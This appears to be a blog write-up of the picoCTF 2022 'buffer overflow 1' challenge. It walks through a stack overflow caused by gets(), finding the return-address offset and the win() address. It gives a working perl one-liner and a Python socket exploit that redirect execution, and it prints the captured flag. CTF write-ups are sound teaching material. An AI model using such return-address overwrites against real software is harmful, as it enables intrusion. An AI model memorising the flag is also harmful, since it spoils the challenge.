Home picoCTF 2022 - buffer overflow 1
Post
Cancel

picoCTF 2022 - buffer overflow 1

Hello friend,

In this post, we are going to solve a picoCTF challenge!

Description

Control the return address

Now we’re cooking! You can overflow the buffer and return to the flag function in the program. You can view source here. And connect with it using nc saturn.picoctf.net [PORT]

Solution

vuln.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"

#define BUFSIZE 32
#define FLAGSIZE 64

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

The first thing that catches attention is gets().

According to the official documentation :

Never use this function.

gets() reads a line from stdin into the buffer pointed to by s until either a terminating newline or EOF, which it replaces with a null byte (‘\0’). No check for buffer overrun is performed (see BUGS below).

Basically, we declared a buffer that holds 32 bytes.

If we somehow read enough bytes to overwrite the return address, we can jump to our win function.

The return address is the address that the program will jump to once it finishes with the current stack frame.It will basically pop the return address and sets that address in the intruction pointer.

The instrution pointer will then jump to that address, and whatever is stored there will be executed by the CPU.

Now we need to determine two things :

  • the offset : how many bytes we need so we can reach the return address
  • the address of the win function

Determining the offset

There are plenty of ways to achieve that, but let’s try something easy.

We already know that we need more than 32 bytes to smash the stack, let’s feed the program 50 bytes.

I’m going to use cyclic, which generates a sequence of characters respecting a pattern, this way we can easily determine the offset.

1
2
3
┌──(yariss㉿Kali-VM)-[~/boxes/picoCTF/buffer_overflow1]
└─$ cyclic 50
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
1
2
3
4
5
6
┌──(yariss㉿Kali-VM)-[~/boxes/picoCTF/buffer_overflow1]
└─$ cyclic 50 | ./vuln
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x6161616c
zsh: done                cyclic 50 |
zsh: segmentation fault  ./vuln

We successfully smashed the stack, the return address is now 0x6161616c which is the equivalent of laaa

You can calculate how many characters until we reach laaa, or you can use cyclic -l with the hexadecimal value of those characters.

1
2
3
4
5
6
┌──(yariss㉿Kali-VM)-[~/boxes/picoCTF/buffer_overflow1]
└─$ cyclic -l laaa
44
┌──(yariss㉿Kali-VM)-[~/boxes/picoCTF/buffer_overflow1]
└─$ cyclic -l 0x6161616c
44

Offset = 44

The win function

1
2
3
4
5
6
7
8
└─$ checksec --file vuln
[*] '/home/yariss/boxes/picoCTF/buffer_overflow1/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

We can use gdb and print the address of win, since the binary doesn’t have PIE enabled.

Note : Since PIE is disabled, each time we run the binary, its going to load in the same memory region, meaning the addresses would be the same each time.

1
2
3
4
┌──(yariss㉿Kali-VM)-[~/boxes/picoCTF/buffer_overflow1]
└─$ gdb ./vuln
gef➤  p win
$1 = {<text variable, no debug info>} 0x80491f6 <win>

We got it : 0x80491f6

Crafting our script

Knowing the offset and the return address, we just need to feed the input to our program.

Here is a one liner script i wrote with perl

1
perl -e 'print "A" x 44 . "\xf6\x91\x04\x08" . "\n"  '

Note : Notice the return address is in reverse, due to the endienness (the program is in little endian byte order)

1
2
3
4
┌──(yariss㉿Kali-VM)-[~/boxes/picoCTF/buffer_overflow1]
└─$ readelf -all vuln | grep endian
  Data:                              2's complement, little endian

Now all we need to do is to pipe it with the program stored in the picoCTF server

1
2
3
4
5
┌──(yariss㉿Kali-VM)-[~/boxes/picoCTF/buffer_overflow1]
└─$ perl -e 'print "A" x 44 . "\xf6\x91\x04\x08" . "\n"  '| nc saturn.picoctf.net 54239
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
picoCTF{addr3ss3s_ar3_3asy_9cf083f8}

We got it!

Before we finish, here is a second script I wrote using python sockets, which achieves the same results.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/python3
import socket

RET = b"\xf6\x91\x04\x08"
OFFSET = b"A" * 44
payload = OFFSET + RET + b"\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
HOST = 'saturn.picoctf.net'
PORT = 54239

s.connect((HOST,PORT))
data = s.recv(1024)
s.sendall(payload)
while data:
    data = s.recv(1024)
    print(data.decode())

1
2
3
4
5
┌──(yariss㉿Kali-VM)-[~/boxes/picoCTF/buffer_overflow1]
└─$ python solver.py
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6

picoCTF{addr3ss3s_ar3_3asy_9cf083f8}

That is it, I hope you learned something !

This post is licensed under CC BY 4.0 by the author.

Creating a base64 encoder/decoder with Python - Part 1

picoCTF 2022 - buffer overflow 2